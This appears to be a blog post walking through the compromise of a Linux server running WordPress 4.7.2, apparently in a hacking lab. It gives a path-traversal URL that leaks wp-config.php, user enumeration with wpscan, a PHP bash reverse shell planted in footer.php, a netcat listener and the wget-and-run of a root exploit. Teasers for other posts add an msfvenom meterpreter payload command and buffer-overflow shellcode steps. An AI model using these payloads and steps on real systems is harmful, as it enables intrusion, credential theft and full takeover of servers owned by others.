Hacking Wakthrough : Linux version 3.10.0-123.el7.x86_64 / Wordpress 4.7.2

Server Operating system : Linux version 3.10.0-123.el7.x86_64

Hosted Web application : Wordpress 4.7.2 


Vulnerabilities found: 


 

How to root the Linux server ?

  • Type this url:  http://server-address/wp-content/plugins/site-import/admin/page.php?url=../../../../../../../../../../../../../../../../var/www/html/wp-config.php
  •  View source this wp-config.php
  • Find the database password.
  • Use it to login the admin page. You need to figure out to find the name of the admin/user by using the tool wpscan : wpscan http://server-url  -e u
  • Once inside wordpress, go to apperances/editor. 
  • Copy this php reverse shell: inject <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ip-addrr/port 0>&1'"); ?> to one the php files ike footer.php.
  • Run in terminal: nc -lvp port. The port must be similar to the previous step.
  • Refresh the wordpress. You have access now to the server, normally as an apache user with no suid privilege. Try sudo or any privilege escalation method . If al fails, download the Linux exploit above (wget), try to compile it using gcc. 
  • If there is no compiler on the server , compile it in your local machine ( as described in the exploit) and transfer it  it to the server.
  • To transfer it, run:  python3 -m http.server . Your machine will be a web server with a port number. Now, you can download the exploit using: wget your-machine:port/exploit
  • Chmod 775 exploit , run it ./exploit
  • Congratulations , you are root now

 

Comments

Post a Comment

Popular posts from this blog

Hacking walkthrough: Cacti 1.2.8 exploit Ubuntu 18.04.3 LTS [RCE] [PE]

 This is a CTF (hacking lab) I tried . Its interesting and there are many ways to solve it or even to customize this CTF box. I dont know if you have seen it somewhere, I haven't so I had to do some researching. Im sure if there are/will-be similar others,they (will) share something in common which is  Cacti 1.2.8.   Web application:  Cacti 1.2.8 Server: Linux 4.15.0-88-generic Ubuntu 18.04.3 LTS Vulnerability:  CVE-2020-8813 Exploits:   48144 & 48145 . Use the one that fits the box situation which is normally in case of CTFs  48145 (Unauthenticated exploit) Vulnerability and Exploits documentation: https://shells.systems/cacti-v1-2-8-authenticated-remote-code-execution-cve-2020-8813/     First of all, in this box I had to change the payload, because netcat didn't work, so I had to do some experimenting with other reverse shells with no luck . So i thought to test the connecti...
Read more

Hacking Wakthrough: Sync Breeze Enterprise v8.9.24

Software : Sync Breeze Enterprise v8.9.24 Exploit : https://www.exploit-db.com/exploits/40456 Operating system :  Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) Follow these Steps: Download 40456.py Run the command : m sfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=your-ip LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest A payload will be generated (my payload size is 310) Copy the payload and replace the payload that's in the python script.Payload starts at line 28 with : buf = "" If your payload has buf = b"" buf += b"\xd9\xed\xd9\x74\x24\xf4\xbb\x9c\x69\xcd\x48\x5d\x29" ! remove the letter "b" and make it look just like the exploit Go to this line: "\x41" * 12292 #subtract/add for payload The script payload is 308 ( #payload size 308 ) so mine is 2 bytes more.  If your payload is 2 or more subtract 2 from 12292 ( 12292 - ...
Read more